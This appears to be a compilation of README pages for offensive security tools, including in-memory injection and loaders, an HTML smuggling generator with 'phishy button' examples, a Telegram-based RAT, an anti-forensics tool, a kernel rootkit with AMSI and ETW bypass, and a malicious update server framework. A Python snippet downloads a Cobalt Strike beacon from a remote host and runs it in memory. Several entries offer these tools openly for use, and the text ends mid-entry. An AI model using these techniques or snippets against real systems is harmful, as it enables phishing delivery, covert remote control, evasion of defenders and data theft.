There are 3 main differences between Module Shifting and some public implementations of Module stomping (one from Bobby Cooke and WithSecure)

1. Padding: when writing shellcode or PE, you can use padding to better blend into common False Positive behaviour (such as third-party applications or .net dlls writing x amount of bytes over their .text section).
2. Shellcode execution using function pointer. This helps in avoid a new thread creation or calling unusual function callbacks.
3. restoring of original dll content over the executed shellcode. This is a key difference.

The differences between Module Shifting and Module Overloading are the following:

1. The PE can be written starting from a specified section instead of starting from the PE of the hosting dll. Once the target section is chosen carefully, this can reduce the amount of IoCs generated (i.e. PE header of the hosting dll is not overwritten or less bytes overwritten on .text section etc.)
2. Padding that can be added to the PE payload itself to better blend into false positives.

Using a functionally independent shellcode payload such as an AceLdr Beacon Stageless shellcode payload, ModuleShifting is able to locally inject without dynamically allocating memory and at the moment generating zero IoC on a Moneta and PE-Sieve scan. I am aware that the AceLdr sleeping payloads can be caught with other great tools such as Hunt-Sleeping-Beacon, but the focus here is on the injection technique itself, not on the payload. In our case what is enabling more stealthiness in the injection is the shellcode functional independence, so that the written malicious bytes can be restored to its original content, effectively erasing the traces of the injection.

Disclaimer

All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.

Credits

This work has been made possible because of the knowledge and tools shared by incredible people like Aleksandra Doniec @hasherezade, Forest Orr and Kyle Avery. I heavily used Moneta, PeSieve, PE-Bear and AceLdr throughout all my learning process and they have been key for my understanding of this topic.

Usage

ModuleShifting can be used with Pyramid and a Python interpreter to execute the local process injection fully in-memory, avoiding compiled loaders.

1. Clone the Pyramid repo:

git clone https://github.com/naksyn/Pyramid

2. Generate a shellcode payload with your preferred C2 and drop it into Pyramid Delivery_files folder. See Caveats section for payload requirements.
3. modify the parameters of moduleshifting.py script inside Pyramid Modules folder.
4. Start the Pyramid server: python3 pyramid.py -u testuser -pass testpass -p 443 -enc chacha20 -passenc superpass -generate -server 192.168.1.2 -setcradle moduleshifting.py
5. execute the generated cradle code on a python interpreter.

Caveats

To successfully execute this technique you should use a shellcode payload that is capable of loading an additional self-sustainable payload in another area of memory. ModuleShifting has been tested with AceLdr payload, which is capable of loading an entire copy of Beacon on the heap, so breaking the functional dependency with the initial shellcode. This technique would work with any shellcode payload that has similar capabilities. So the initial shellcode becomes useless once executed and there's no reason to keep it in memory as an IoC.

A hosting dll with enough space for the shellcode on the targeted section should also be chosen, otherwise the technique will fail.

Detection opportunities

Module Stomping and Module Shifting need to write shellcode on a legitimate dll memory space. ModuleShifting will eliminate this IoC after the cleanup phase but indicators could be spotted by scanners with realtime inspection capabilities.

Apepe - Enumerate Information From An App Based On The APK File

Apepe is a Python tool developed to help pentesters and red teamers to easily get information from the target app. This tool will extract basic informations as the package name, if the app is signed and the development language...

Installing / Getting started

A quick guide of how to install and use Apepe.

1. git clone https://github.com/oppsec/Apepe.git
2. pip install -r requirements.txt
3. python3 main -f <apk-file.apk>

Pre-requisites

• Python installed on your machine
• The .apk from the target mobile app

Features

• Detect mobile app development lanague
• Information gathering
• Extremely fast
• Low RAM and CPU usage
• Made in Python

Example

To-Do

• Support to .ipa files (iOS)
• Detect certificate library used by the app
• Add argument to return list of possible SSL Pinning scripts
• Common vulnerabilities check?

Contributing

A quick guide of how to contribute with the project.

1. Create a fork from Apepe repository
2. Download the project with git clone https://github.com/your/Apepe.git
3. cd Apepe/
4. Make your changes
5. Commit and make a git push
6. Open a pull request

Warning

• The developer is not responsible for any malicious use of this tool.

Pinkerton - An JavaScript File Crawler And Secret Finder Developed In Python

️️ Pinkerton is a Python tool created to crawl JavaScript files and search for secrets

Installing / Getting started

A quick guide of how to install and use Pinkerton.

1. Clone the repository with: git clone https://github.com/oppsec/pinkerton.git
2. Install the libraries with: pip3 install -r requirements.txt
3. Run Pinkerton with: python3 main.py -u https://example.com

Docker

If you want to use pinkerton in a Docker container, follow this commands:

1. Clone the repository - git clone https://github.com/oppsec/pinkerton.git
2. Build the image - sudo docker build -t pinkerton:latest .
3. Run container - sudo docker run pinkerton:latest

Pre-requisites

• Python 3 installed on your machine.
• Install the libraries with pip3 install -r requirements.txt

Features

• Works with ProxyChains
• Fast scan
• Low RAM and CPU usage
• Open-Source
• Python ❤️

To-Do

• Add more secrets regex pattern
• Improve JavaScript file extract function
• Improve pattern match system
• Add pass list file method

Contributing

A quick guide of how to contribute with the project.

1. Create a fork from Pinkerton repository
2. Clone the repository with git clone https://github.com/your/pinkerton.git
3. Type cd pinkerton/
4. Create a branch and make your changes
5. Commit and make a git push
6. Open a pull request

Credits

• m4ll0k (SecretFinder creator) for the regex patterns
• h33lit (Jubaer Alnazi) for the regex patterns
• zricethezav (GitLeaks creator) for the regex patterns

Warning

• The developer is not responsible for any malicious use of this tool.

HTMLSmuggler - HTML Smuggling Generator And Obfuscator For Your Red Team Operations

The full explanation what is HTML Smuggling may be found here.

The primary objective of HTML smuggling is to bypass network security controls, such as firewalls and intrusion detection systems, by disguising malicious payloads within seemingly harmless HTML and JavaScript code. By exploiting the dynamic nature of web applications, attackers can deliver malicious content to a user's browser without triggering security alerts or being detected by traditional security mechanisms. Thanks to this technique, the download of a malicious file is not displayed in any way in modern IDS solutions.

The main goal of HTMLSmuggler tool is creating an independent javascript library with embedded malicious user-defined payload. This library may be integrated into your phishing sites/email html attachments/etc. to bypass IDS and IPS system and deliver embedded payload to the target user system. An example of created javascript library may be found here.

Features

• Built-in highly configurable JavaScript obfuscator that fully hides your payload.
• May be used both as an independent JS library or embedded in JS frameworks such as React, Vue.js, etc.
• The simplicity of the template allows you to add extra data handlers/compressions/obfuscations.

Installation

1. Install yarn package manager.

2. Install dependencies:

   yarn

3. Read help message.

   yarn build -h

   Usage

   Preparation steps

   1. Modify (or use my) javascript-obfuscator options in obfuscator.js, my preset is nice, but very slow.

   2. Compile your javascript payload:

      yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c

   3. Get your payload from dist/payload.esm.js or dist/payload.umd.js. After that, it may be inserted into your page and called with download() function.

   payload.esm.js is used in import { download } from 'payload.esm'; imports (ECMAScript standart).

   payload.umd.js is used in html script SRC and require('payload.umd'); imports (CommonJS, AMD and pure html).

   Pure HTML example

   A full example may be found here.

   1. Do preparation steps.

   2. Import created script to html file (or insert it inline):

      <head>
        <script src="payload.umd.js"></script>
      </head>

   3. Call download() function from body:

      <body>
        <button onclick="download()">Some phishy button</button>
      </body>

   4. Happy phishing :)

   VueJS example

   A full example may be found here.

   1. Do preparation steps.

   2. Import created script to vue file:

      <script>
        import { download } from './payload.esm';
      </script>

   3. Call download() function:

      <template>
        <button @click="download()">Some phishy button</button>
      </template>

   4. Happy phishing :)

   FAQ

   Q: I have an error RangeError: Maximum call stack size exceeded, how to solve it?

   A: This issue described here. To fix it, try to disable splitStrings in obfuscator.js or make smaller payload (it's recommended to use up to 2 MB payloads because of this issue).

   ---

   Q: Why does my payload build so long?

   A: The bigger payload you use, the longer it takes to create a JS file. To decrease time of build, try to disable splitStrings in obfuscator.js. Below is a table with estimated build times using default obfuscator.js.

   Payload size	Build time
   525 KB	53 s
   1.25 MB	8 m
   3.59 MB	25 m

   
   
   

   Download HTMLSmuggler

Redeye - A Tool Intended To Help You Manage Your Data During A Pentest Operation

This project was built by pentesters for pentesters. Redeye is a tool intended to help you manage your data during a pentest operation in the most efficient and organized way.

The Developers

Daniel Arad - @dandan_arad && Elad Pticha - @elad_pt

Overview

The Server panel will display all added server and basic information about the server such as: owned user, open port and if has been pwned.

After entering the server, An edit panel will appear. We can add new users found on the server, Found vulnerabilities and add relevant attain and files.

Users panel contains all found users from all servers, The users are categorized by permission level and type. Those details can be chaned by hovering on the username.

Files panel will display all the files from the current pentest. A team member can upload and download those files.

Attack vector panel will display all found attack vectors with Severity/Plausibility/Risk graphs.

PreReport panel will contain all the screenshots from the current pentest.

Graph panel will contain all of the Users and Servers and the relationship between them.

APIs allow users to effortlessly retrieve data by making simple API requests.

curl redeye.local:8443/api/servers --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq
curl redeye.local:8443/api/users --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq
curl redeye.local:8443/api/exploits --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq

Installation

Docker

Pull from GitHub container registry.

git clone https://github.com/redeye-framework/Redeye.git
cd Redeye
docker-compose up -d

Start/Stop the container

sudo docker-compose start/stop

Save/Load Redeye

docker save ghcr.io/redeye-framework/redeye:latest neo4j:4.4.9 > Redeye.tar
docker load < Redeye.tar

GitHub container registry: https://github.com/redeye-framework/Redeye/pkgs/container/redeye

Source

git clone https://github.com/redeye-framework/Redeye.git
cd Redeye
sudo apt install python3.8-venv
python3 -m venv RedeyeVirtualEnv
source RedeyeVirtualEnv/bin/activate
pip3 install -r requirements.txt
python3 RedDB/db.py
python3 redeye.py --safe

General

Redeye will listen on: http://0.0.0.0:8443
Default Credentials:

• username: redeye
• password: redeye

Neo4j will listen on: http://0.0.0.0:7474
Default Credentials:

• username: neo4j
• password: redeye

Special-Thanks

• Yoav Danino for mental support and beta testing.

Credits

• Sidebar

  • https://github.com/azouaoui-med/pro-sidebar-template
  • https://bootsnipp.com/snippets/Q0dAX

• flowchart

  • https://www.jqueryscript.net/chart-graph/Drag-drop-Flow-Chart-Plugin-With-jQuery-jQuery-UI-flowchart-js.html

• download.js

  • http://danml.com/download.html

• dropzone

  • http://www.dropzonejs.com

• Pictures and Icons

  • https://www.iconfinder.com
    • licensed by - https://creativecommons.org/licenses/by/4.0
  • http://www.freepik.com

• Logs

  • https://codepen.io/jo_Geek/pen/NLoGZZ
    • licensed by - https://blog.codepen.io/documentation/terms-of-service/

If you own any Code/File in Redeye that is not under MIT License please contact us at: redeye.framework@gmail.com

KRBUACBypass - UAC Bypass By Abusing Kerberos Tickets

This POC is inspired by James Forshaw (@tiraniddo) shared at BlackHat USA 2022 titled “Taking Kerberos To The Next Level ” topic, he shared a Demo of abusing Kerberos tickets to achieve UAC bypass. By adding a KERB-AD-RESTRICTION-ENTRY to the service ticket, but filling in a fake MachineID, we can easily bypass UAC and gain SYSTEM privileges by accessing the SCM to create a system service. James Forshaw explained the rationale behind this in a blog post called "Bypassing UAC in the most Complex Way Possible!", which got me very interested. Although he didn't provide the full exploit code, I built a POC based on Rubeus. As a C# toolset for raw Kerberos interaction and ticket abuse, Rubeus provides an easy interface that allows us to easily initiate Kerberos requests and manipulate Kerberos tickets.

You can see related articles about KRBUACBypass in my blog "Revisiting a UAC Bypass By Abusing Kerberos Tickets", including the background principle and how it is implemented. As said in the article, this article was inspired by @tiraniddo's "Taking Kerberos To The Next Level" (I would not have done it without his sharing) and I just implemented it as a tool before I graduated from college.

Tgtdeleg Trick

We cannot manually generate a TGT as we do not have and do not have access to the current user's credentials. However, Benjamin Delpy (@gentilkiwi) in his Kekeo A trick (tgtdeleg) was added that allows you to abuse unconstrained delegation to obtain a local TGT with a session key.

Tgtdeleg abuses the Kerberos GSS-API to obtain available TGTs for the current user without obtaining elevated privileges on the host. This method uses the AcquireCredentialsHandle function to obtain the Kerberos security credentials handle for the current user, and calls the InitializeSecurityContext function for HOST/DC.domain.com using the ISC_REQ_DELEGATE flag and the target SPN to prepare the pseudo-delegation context to send to the domain controller. This causes the KRB_AP-REQ in the GSS-API output to include the KRB_CRED in the Authenticator Checksum. The service ticket's session key is then extracted from the local Kerberos cache and used to decrypt the KRB_CRED in the Authenticator to obtain a usable TGT. The Rubeus toolset also incorporates this technique. For details, please refer to “Rubeus – Now With More Kekeo”.

With this TGT, we can generate our own service ticket, and the feasible operation process is as follows:

1. Use the Tgtdeleg trick to get the user's TGT.
2. Use the TGT to request the KDC to generate a new service ticket for the local computer. Add a KERB-AD-RESTRICTION-ENTRY, but fill in a fake MachineID.
3. Submit the service ticket into the cache.

Krbscm

Once you have a service ticket, you can use Kerberos authentication to access Service Control Manager (SCM) Named Pipes or TCP via HOST/HOSTNAME or RPC/HOSTNAME SPN. Note that SCM's Win32 API always uses Negotiate authentication. James Forshaw created a simple POC: SCMUACBypass.cpp, through the two APIs HOOK AcquireCredentialsHandle and InitializeSecurityContextW, the name of the authentication package called by SCM (pszPack age ) to Kerberos to enable the SCM to use Kerberos when authenticating locally.

Let’s see it in action

Now let's take a look at the running effect, as shown in the figure below. First request a ticket for the HOST service of the current server through the asktgs function, and then create a system service through krbscm to gain the SYSTEM privilege.

KRBUACBypass.exe asktgs
KRBUACBypass.exe krbscm

TelegramRAT - Cross Platform Telegram Based RAT That Communicates Via Telegram To Evade Network Restrictions

Cross Platform Telegram based RAT that communicates via telegram to evade network restrictions

Installation:

1. git clone https://github.com/machine1337/TelegramRAT.git
2. Now Follow the instructions in HOW TO USE Section.

HOW TO USE:

1. Go to Telegram and search for https://t.me/BotFather
2. Create Bot and get the API_TOKEN
3. Now search for https://t.me/chatIDrobot and get the chat_id
4. Now Go to client.py and go to line 16 and 17 and place API_TOKEN and chat_id there
5. Now run python client.py For Windows and python3 client.py For Linux
6. Now Go to the bot which u created and send command in message field

HELP MENU:

HELP MENU: Coded By Machine1337
CMD Commands        | Execute cmd commands directly in bot
cd ..               | Change the current directory
cd foldername       | Change to current folder
download filename   | Download File From Target
screenshot          | Capture Screenshot
info                | Get System Info
location            | Get Target Location

Features:

1. Execute Shell Commands in bot directly.
2. download file from client.
3. Get Client System Information.
4. Get Client Location Information.
5. Capture Screenshot
6. More features will be added

Author:

Coded By: Machine1337
Contact: https://t.me/R0ot1337

Forensia - Anti Forensics Tool For Red Teamers, Used For Erasing Footprints In The Post Exploitation Phase

Anti Forensics Tool For Red Teamers, Used For Erasing Some Footprints In The Post Exploitation Phase.

Reduces Payload Burnout And Increases Detection Countdown. Can Be Used To Test The capabilities of Your Incident Response / Forensics Teams.

Capabilities

• Unloading Sysmon Driver.
• Gutmann Method File Shredding.
• USNJrnl Disabler.
• Prefetch Disabler.
• Log Eraser and Event log Disabler.
• User Assist Update Time Disabler.
• Access Time Disabler.
• Clear Recent Items
• Clear Shim Cache
• Clear RecentFileCache
• Clear ShellBag
• Delete Windows Defender Quarantine Files
• File Melting Capabilities.

Important Update

Added:

• Clear Recent Items
• Clear Shim Cache
• Clear RecentFileCache
• Clear ShellBag
• Clear Quanatine Files

TODO

• USNJRnl Execution On All Disk Drives.

• Unallocated Space ReWriting.

• A Bit of Polishing.

Credits

https://github.com/Naranbataar/Corrupt

https://github.com/LloydLabs/delete-self-poc

https://github.com/OsandaMalith/WindowsInternals/blob/master/Unload_Minifilter.c

https://stackoverflow.com/users/15168/jonathan-leffler

https://github.com/GiovanniDicanio/WinReg

Fiber - Using Fibers To Run In-Memory Code In A Different And Stealthy Way

A fiber is a unit of execution that must be manually scheduled by the application rather than rely on the priority-based scheduling mechanism built into Windows. Fibers are often called lightweight threads. For more detailed information about what are and how fibers work consult the official documentation. Fibers allow to have multiple execution flows in a single thread, each one with its own registers' state and stack. On the other hand, fibers are invisible to the kernel, which makes them a stealthier (and cheaper) method to execute in-memory code than spawning new threads.

One thread can create multiple fibers, and switch between them at desire by calling the SwitchToFiber function. Before that, the current thread itself must have become a fiber by calling ConvertThreadToFiber since only a fiber can create other fibers. Finally, in order to create a fiber that, when scheduled, executes an in-memory code (for example, after reflectively loaded a PE or some shellcode) it is just needed to make a call to CreateFiber.

The SwitchToFiber function is the most important part of this process and where all the magic occurs. This function allows to schedule one fiber or another, all happening on user space. According to the official documentation, "the SwitchToFiber function saves the state information of the current fiber and restores the state of the specified fiber". This mean that when this function is called, the registers' values and the stack are switched from the current fiber state to the target fiber state, allowing to "hide" the stack of the current fiber once the process is completed. This also allows to continue the execution of the target fiber from the same point where the execution was stopped (the same way that it happens when the scheduler switches between threads according to its own priority logic).

And this is exactly what this simple PoC does:

• First, we have a loader, which will use DInvoke to manually map the dll that contains our payload.
• After that, the loader will turn the current thread into a fiber (known from now on as the control fiber). The control fiber will enjoy of a "normal" stack since the loader is being run from a PE on disk.
• The loader will then create a new fiber to run the run() function exported by the manually mapped dll. This fiber will be known as the payload fiber from now on.
• The control fiber will switch to the payload fiber, which will execute whatever code the payload contains. Once the payload needs to enter on an alertable state (for example, when a call to Sleep is required), the payload fiber switches back to the control fiber, hiding its stack (which may contain several IOC os malicious activity).
• The control fiber performs the call to Sleep. When the call returns, it will switch again to the payload fiber so it can continue its execution.

This process repeats indefinitely.

Advantages

The use of fibers may be advantageous for some types of payloads (like a C2 beacon) for some of these reasons:

• Fibers allow to run in-memory code without the need of using the instructions JMP or CALL from the loader pointing to unbacked memory regions.
• This execution is performed without the creation of new threads, preventing the generation of callbacks from the kernel that can be collected by an EDR.
• The payload fiber's stack can be hidden when the payload enters on an alertable state or when it needs to wait for a pending I/O operation. This is done using a control fiber with a normal stack that runs code from disk. This "hiding" is cheaper and easier to implement that the regular thread stack spoofing process.
• The fibers are invisible to the kernel and all the switching procedure happens on user space, which makes it easier to hide from an EDR.

Cons

• Only one fiber can be scheduled at a time on a thread, which means that in order to get real concurrency using fibers you need to spawn more threads.
• Although the payload fiber's stack is hidden when the control fiber is switched back, it remains in the process memory and it could be spotted by a memory inspection.
• Obfuscation is still needed in order to hide the in-memory implant, this is just about hiding the stack and the execution method.

Compilation

Since we are using LITCRYPT plugin to obfuscate string literals, it is required to set up the environment variable LITCRYPT_ENCRYPT_KEY before compiling the code:

C:\Users\User\Desktop\Fiber> set LITCRYPT_ENCRYPT_KEY="yoursupersecretkey"

After that, simply compile both the payload and the loader and run the last one:

C:\Users\User\Desktop\Fiber\payload> cargo build --release
C:\Users\User\Desktop\Fiber\loader> cargo build --release
C:\Users\User\Desktop\Fiber\loader\target\release> loader.exe

Usage

There is not much mistery on this PoC execution. All it has to be done is to run the loader and use any tool like ProcessHacker to inspect the thread stack. Since the payload switches back to the control fiber before sleeping, the payload fiber's stack remains hidden most of the time. You will see in the output how the two fibers are consecutively scheduled following the already commented logic.

The code is commented to show how to use, create and schedule fibers. You will notice that both the loader and the payload offered as example are "stuck" on an infinite loop, which allows to indefinitely switch between fibers and continue the execution.

If a different payload wants to be tested, just modify the path located on line 32 of the file src::main.rs of the loader. In that case, the new dll has to export a run(PVOID) function that will receive as input parameter the address of the control fiber. This function has to switch back to the control fiber in order to call the Sleep function, although you can modify this behavior at will to fit your requirements.

Another way to test this tool with a random payload is to perform IAT hooking to redirect any call to the Sleep function (or any other imported function) made by the payload to a function located on the loader, allowing to switch back to the control fiber when this call occurs. Up to you.

In the following screenshots we can see how the stack of the current threat moves from one private memory region to another as we switch fibers:

PythonMemoryModule - Pure-Python Implementation Of MemoryModule Technique To Load Dll And Unmanaged Exe Entirely From Memory

"Python memory module" AI generated pic - hotpot.ai

pure-python implementation of MemoryModule technique to load a dll or unmanaged exe entirely from memory

What is it

PythonMemoryModule is a Python ctypes porting of the MemoryModule technique originally published by Joachim Bauch. It can load a dll or unmanaged exe using Python without requiring the use of an external library (pyd). It leverages pefile to parse PE headers and ctypes.

The tool was originally thought to be used as a Pyramid module to provide evasion against AV/EDR by loading dll/exe payloads in python.exe entirely from memory, however other use-cases are possible (IP protection, pyds in-memory loading, spinoffs for other stealthier techniques) so I decided to create a dedicated repo.

Why it can be useful

1. It basically allows to use the MemoryModule techinque entirely in Python interpreted language, enabling the loading of a dll from a memory buffer using the stock signed python.exe binary without requiring dropping on disk external code/libraries (such as pymemorymodule bindings) that can be flagged by AV/EDRs or can raise user's suspicion.
2. Using MemoryModule technique in compiled languages loaders would require to embed MemoryModule code within the loaders themselves. This can be avoided using Python interpreted language and PythonMemoryModule since the code can be executed dynamically and in memory.
3. you can get some level of Intellectual Property protection by dynamically in-memory downloading, decrypting and loading dlls that should be hidden from prying eyes. Bear in mind that the dlls can be still recovered from memory and reverse-engineered, but at least it would require some more effort by the attacker.
4. you can load a stageless payload dll without performing injection or shellcode execution. The loading process mimics the LoadLibrary Windows API (which takes a path on disk as input) without actually calling it and operating in memory.

How to use it

In the following example a Cobalt Strike stageless beacon dll is downloaded (not saved on disk), loaded in memory and started by calling the entrypoint.

import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

Note: if you use staging in your malleable profile the dll would not be able to load with LoadLibrary, hence MemoryModule won't work.

How to detect it

Using the MemoryModule technique will mostly respect the sections' permissions of the target DLL and avoid the noisy RWX approach. However within the program memory there will be a private commit not backed by a dll on disk and this is a MemoryModule telltale.

Future improvements

1. add support for argument parsing.
2. add support (basic) for .NET assemblies execution.

Nidhogg - All-In-One Simple To Use Rootkit For Red Teams

Nidhogg is a multi-functional rootkit for red teams. The goal of Nidhogg is to provide an all-in-one and easy-to-use rootkit with multiple helpful functionalities for red team engagements that can be integrated with your C2 framework via a single header file with simple usage, you can see an example here.

Nidhogg can work on any version of x64 Windows 10 and Windows 11.

This repository contains a kernel driver with a C++ header to communicate with it.

Current Features

• Process hiding and unhiding
• Process elevation
• Process protection (anti-kill and dumping)
• Bypass pe-sieve
• Thread hiding
• Thread protection (anti-kill)
• File protection (anti-deletion and overwriting)
• File hiding
• Registry keys and values protection (anti-deletion and overwriting)
• Registry keys and values hiding
• Querying currently protected processes, threads, files, registry keys and values
• Arbitrary kernel R/W
• Function patching
• Built-in AMSI bypass
• Built-in ETW patch
• Process signature (PP/PPL) modification
• Can be reflectively loaded
• Shellcode Injection
  • APC
  • NtCreateThreadEx
• DLL Injection
  • APC
  • NtCreateThreadEx
• Querying kernel callbacks
  • ObCallbacks
  • Process and thread creation routines
  • Image loading routines
  • Registry callbacks
• Removing and restoring kernel callbacks
• ETWTI tampering

Reflective loading

Since version v0.3, Nidhogg can be reflectively loaded with kdmapper but because PatchGuard will be automatically triggered if the driver registers callbacks, Nidhogg will not register any callback. Meaning, that if you are loading the driver reflectively these features will be disabled by default:

• Process protection
• Thread protection
• Registry operations

PatchGuard triggering features

These are the features known to me that will trigger PatchGuard, you can still use them at your own risk.

• Process hiding
• File protecting

Basic Usage

It has a very simple usage, just include the header and get started!

#include "Nidhogg.hpp"

int main() {
    HANDLE hNidhogg = CreateFile(DRIVER_NAME, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
    // ...
    DWORD result = Nidhogg::ProcessUtils::NidhoggProcessProtect(pids);
    // ...
}

Setup

Building the client

To compile the client, you will need to install CMake and Visual Studio 2022 installed and then just run:

cd <NIDHOGG PROJECT DIRECTORY>\Example
mkdir build
cd build
cmake ..
cmake --build .

Building the driver

To compile the project, you will need the following tools:

• Visual Studio 2022
• Windows Driver Kit

Clone the repository and build the driver.

Driver Testing

To test it in your testing environment run those commands with elevated cmd:

bcdedit /set testsigning on

After rebooting, create a service and run the driver:

sc create nidhogg type= kernel binPath= C:\Path\To\Driver\Nidhogg.sys
sc start nidhogg

Debugging

To debug the driver in your testing environment run this command with elevated cmd and reboot your computer:

bcdedit /debug on

After the reboot, you can see the debugging messages in tools such as DebugView.

Resources

• Windows Kernel Programming Book
• Kernel Structure Documentation
• Registry Keys Hiding
• Process Signatures
• NtCreateThreadEx Hotfix

Contributions

Thanks a lot to those people that contributed to this project:

• BlackOfWorld

RustChain - Hide Memory Artifacts Using ROP And Hardware Breakpoints

This tool is a simple PoC of how to hide memory artifacts using a ROP chain in combination with hardware breakpoints. The ROP chain will change the main module memory page's protections to N/A while sleeping (i.e. when the function Sleep is called). For more detailed information about this memory scanning evasion technique check out the original project Gargoyle. x64 only.

The idea is to set up a hardware breakpoint in kernel32!Sleep and a new top-level filter to handle the exception. When Sleep is called, the exception filter function set before is triggered, allowing us to call the ROP chain without the need of using classic function hooks. This way, we avoid leaving weird and unusual private memory regions in the process related to well known dlls.

The ROP chain simply calls VirtualProtect() to set the current memory page to N/A, then calls SleepEx and finally restores the RX memory protection.

The overview of the process is as follows:

• We use SetUnhandledExceptionFilter to set a new exception filter function.
• SetThreadContext is used in order to set a hardware breakpoint on kernel32!Sleep.
• We call Sleep, triggering the hardware breakpoint and driving the execution flow towards our exception filter function.
• The ROP chain is called from the exception filter function, allowing to change the current memory page protection to N/A. Then SleepEx is called. Finally, the ROP chain restores the RX memory protection and the normal execution continues.

This process repeats indefinitely.

As it can be seen in the image, the main module's memory protection is changed to N/A while sleeping, which avoids memory scans looking for pages with execution permission.

Compilation

Since we are using LITCRYPT plugin to obfuscate string literals, it is required to set up the environment variable LITCRYPT_ENCRYPT_KEY before compiling the code:

C:\Users\User\Desktop\RustChain> set LITCRYPT_ENCRYPT_KEY="yoursupersecretkey"

After that, simply compile the code and run the tool:

C:\Users\User\Desktop\RustChain> cargo build
C:\Users\User\Desktop\RustChain\target\debug> rustchain.exe

Limitations

This tool is just a PoC and some extra features should be implemented in order to be fully functional. The main purpose of the project was to learn how to implement a ROP chain and integrate it within Rust. Because of that, this tool will only work if you use it as it is, and failures are expected if you try to use it in other ways (for example, compiling it to a dll and trying to reflectively load and execute it).

Credits

• @thefLinkk for his DeepSleep project that inspired me to create this tool.

NTLMRecon - A Tool For Performing Light Brute-Forcing Of HTTP Servers To Identify Commonly Accessible NTLM Authentication Endpoints

NTLMRecon is a Golang version of the original NTLMRecon utility written by Sachin Kamath (AKA pwnfoo). NTLMRecon can be leveraged to perform brute forcing against a targeted webserver to identify common application endpoints supporting NTLM authentication. This includes endpoints such as the Exchange Web Services endpoint which can often be leveraged to bypass multi-factor authentication.

The tool supports collecting metadata from the exposed NTLM authentication endpoints including information on the computer name, Active Directory domain name, and Active Directory forest name. This information can be obtained without prior authentication by sending an NTLM NEGOTIATE_MESSAGE packet to the server and examining the NTLM CHALLENGE_MESSAGE returned by the targeted server. We have also published a blog post alongside this tool discussing some of the motiviations behind it's development and how we are approaching more advanced metadata collectoin within Chariot.

Why build a new version of this capability?

We wanted to perform brute-forcing and automated identification of exposed NTLM authentication endpoints within Chariot, our external attack surface management and continuous automated red teaming platform. Our primary backend scanning infrastructure is written in Golang and we didn't want to have to download and shell out to the NTLMRecon utility in Python to collect this information. We also wanted more control over the level of detail of the information we collected, etc.

Installation

The following command can be leveraged to install the NTLMRecon utility. Alternatively, you may download a precompiled version of the binary from the releases tab in GitHub.

go install github.com/praetorian-inc/NTLMRecon/cmd/NTLMRecon@latest

Usage

The following command can be leveraged to invoke the NTLM recon utility and discover exposed NTLM authentication endpoints:

NTLMRecon -t https://autodiscover.contoso.com

The following command can be leveraged to invoke the NTLM recon utility and discover exposed NTLM endpoints while outputting collected metadata in a JSON format:

NTLMRecon -t https://autodiscover.contoso.com -o json

Example JSON Output

Below is an example JSON output with the data we collect from the NTLM CHALLENGE_MESSAGE returned by the server:

{
  "url": "https://autodiscover.contoso.com/EWS/",
  "ntlm": {
    "netbiosComputerName": "MSEXCH1",
    "netbiosDomainName": "CONTOSO",
    "dnsDomainName": "na.contoso.local",
    "dnsComputerName": "msexch1.na.contoso.local",
    "forestName": "contoso.local"
  }
}

➜  ~ NTLMRecon -t https://adfs.contoso.com -o json | jq
{
  "url": "https://adfs.contoso.com/adfs/services/trust/2005/windowstransport",
  "ntlm": {
    "netbiosComputerName": "MSFED1",
    "netbiosDomainName": "CONTOSO",
    "dnsDomainName": "corp.contoso.com",
    "dnsComputerName": "MSEXCH1.corp.contoso.com",
    "forestName": "contoso.com"
  }
}
➜  ~ NTLMRecon -t https://autodiscover.contoso.com
https://autodiscover.contoso.com/Autodiscover
https://autodiscover.contoso.com/Autodiscover/AutodiscoverService.svc/root
https://autodiscover.contoso.com/Autodiscover/Autodiscover.xml
https://autodiscover.contoso.com/EWS/
https://autodiscover.contoso.com/OAB/
https://autodiscover.contoso.com/Rpc/
➜  ~

Potential Additional Features

Our methodology when developing this tool has targeted the most barebones version of the desired capability for the initial release. The goal for this project was to create an initial tool we could integrate into Chariot and then allow community contributions and feedback to drive additional tooling improvements or functionality. Below are some ideas for additional functionality which could be added to NTLMRecon:

• Concurrency and Performance Improvements: There could be some additional improvements to concurrency and performance. Currently, the tool sequentially makes HTTP requests and waits for the previous request to be performed.
• Batch Scanning Functionality: Another idea would be to extend the NTLMRecon utility to accept a list of hosts from standard input. One usage scenario for this could be an attacker running a combination of “subfinder | httpx | NTLMRecon” to enumerate HTTP servers and then identify NTLM authentication endpoints that are exposed externally across an entire attack surface.
• One-off Data Collection Capability: A user may wish to perform one-off data collection targeting a specific endpoint which is currently not supported by NTLMRecon.
• User-Agent Randomization or Control: A user may wish to randomize the user-agents used to make requests. Alternatively when targeting Microsoft Exchange servers sometimes using a user-agent with a mobile client or legacy third-party email client can allow requests to the /EWS/Exchange.asmx endpoint through, etc.

References

[1] https://www.praetorian.com/blog/automating-the-discovery-of-ntlm-authentication-endpoints/

Sh4D0Wup - Signing-key Abuse And Update Exploitation Framework

% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  front        Bind a http/https server but forward everything unmodified
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  req          Emulate a http request to test routing and selectors
  completion   s  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Increase logging output (can be used multiple times)
  -q, --quiet...    Reduce logging output (can be used multiple times)
  -h, --help        Print help information
  -V, --version     Print version information

What are shadow updates?

